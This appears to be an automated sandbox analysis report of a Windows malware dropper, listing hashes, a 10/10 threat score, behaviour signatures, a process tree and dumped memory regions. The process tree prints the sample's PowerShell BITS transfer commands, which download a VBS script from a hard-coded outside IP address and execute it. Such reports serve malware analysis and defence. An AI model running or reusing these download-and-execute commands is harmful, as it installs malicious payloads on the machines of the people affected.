b6222a50c469e509eaf14bd3b40ad886238c35f3f2e73255be47150fa73ad176

Analysis

max time kernel
94s
max time network
95s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
12/10/2024, 07:27

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General

Target

b6222a50c469e509eaf14bd3b40ad886238c35f3f2e73255be47150fa73ad176N.exe
Size

122KB
MD5

ae1b3dc937b6a64dbe48c420461ea9e0
SHA1

d91e267f88be78a33269998da0da73a627e55270
SHA256

b6222a50c469e509eaf14bd3b40ad886238c35f3f2e73255be47150fa73ad176
SHA512

872c9d3079080d270030b639d8249c0988bbaeb208d3a7adb29662231b5772e9d2897416a3343a3f84a7b08f9c22547716118233e5eb556a24a697ac225a1d72
SSDEEP

768:ZL9b+LhP9GJKB6BbvhYdjKU3dE3SU2Ip4jBqltCF0AxEjenoB69+Fx:ZtQJ9T6BbvhYdje3SFHBWAxEjc+

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

http://213.109.202.84:12345/vbs.vbs

Signatures

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
3944	powershell.exe
3944	powershell.exe
1836	powershell.exe
1836	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3944	powershell.exe
Token: SeDebugPrivilege	1836	powershell.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 1664 wrote to memory of 3680	1664	b6222a50c469e509eaf14bd3b40ad886238c35f3f2e73255be47150fa73ad176N.exe	84
PID 1664 wrote to memory of 3680	1664	b6222a50c469e509eaf14bd3b40ad886238c35f3f2e73255be47150fa73ad176N.exe	84
PID 3680 wrote to memory of 3944	3680	cmd.exe	85
PID 3680 wrote to memory of 3944	3680	cmd.exe	85
PID 1664 wrote to memory of 1884	1664	b6222a50c469e509eaf14bd3b40ad886238c35f3f2e73255be47150fa73ad176N.exe	88
PID 1664 wrote to memory of 1884	1664	b6222a50c469e509eaf14bd3b40ad886238c35f3f2e73255be47150fa73ad176N.exe	88
PID 1884 wrote to memory of 1836	1884	cmd.exe	89
PID 1884 wrote to memory of 1836	1884	cmd.exe	89
PID 1664 wrote to memory of 1396	1664	b6222a50c469e509eaf14bd3b40ad886238c35f3f2e73255be47150fa73ad176N.exe	92
PID 1664 wrote to memory of 1396	1664	b6222a50c469e509eaf14bd3b40ad886238c35f3f2e73255be47150fa73ad176N.exe	92

C:\Users\Admin\AppData\Local\Temp\b6222a50c469e509eaf14bd3b40ad886238c35f3f2e73255be47150fa73ad176N.exe
"C:\Users\Admin\AppData\Local\Temp\b6222a50c469e509eaf14bd3b40ad886238c35f3f2e73255be47150fa73ad176N.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1664
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c powershell import - module bitstransfer
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3680
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell import - module bitstransfer
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3944
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c powershell start-bitstransfer http://213.109.202.84:12345/vbs.vbs -destination C:\Perflogs\vbs.vbs
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1884
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell start-bitstransfer http://213.109.202.84:12345/vbs.vbs -destination C:\Perflogs\vbs.vbs
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1836
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c C:\Perflogs\vbs.vbs
  2⤵
  PID:1396

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
6d3e9c29fe44e90aae6ed30ccf799ca8

SHA1
c7974ef72264bbdf13a2793ccf1aed11bc565dce

SHA256
2360634e63e8f0b5748e2c56ebb8f4aa78e71008ea7b5c9ca1c49be03b49557d

SHA512
60c38c4367352537545d859f64b9c5cbada94240478d1d039fd27b5ecba4dc1c90051557c16d802269703b873546ead416279c0a80c6fd5e49ad361cef22596a

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_bwprt3cu.ntg.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1664-32-0x00007FF717970000-0x00007FF7179A4000-memory.dmp

Filesize
208KB

Download
memory/1664-0-0x00007FF717970000-0x00007FF7179A4000-memory.dmp

Filesize
208KB

Download
memory/1836-19-0x00007FFB39E20000-0x00007FFB3A8E1000-memory.dmp

Filesize
10.8MB

Download
memory/1836-18-0x00007FFB39E20000-0x00007FFB3A8E1000-memory.dmp

Filesize
10.8MB

Download
memory/1836-30-0x000001D1E4050000-0x000001D1E4076000-memory.dmp

Filesize
152KB

Download
memory/1836-31-0x000001D1E4760000-0x000001D1E4774000-memory.dmp

Filesize
80KB

Download
memory/1836-34-0x00007FFB39E20000-0x00007FFB3A8E1000-memory.dmp

Filesize
10.8MB

Download
memory/3944-16-0x00007FFB39E20000-0x00007FFB3A8E1000-memory.dmp

Filesize
10.8MB

Download
memory/3944-13-0x00007FFB39E20000-0x00007FFB3A8E1000-memory.dmp

Filesize
10.8MB

Download
memory/3944-12-0x00007FFB39E20000-0x00007FFB3A8E1000-memory.dmp

Filesize
10.8MB

Download
memory/3944-2-0x000001A79BEA0000-0x000001A79BEC2000-memory.dmp

Filesize
136KB

Download
memory/3944-1-0x00007FFB39E23000-0x00007FFB39E25000-memory.dmp

Filesize
8KB

Download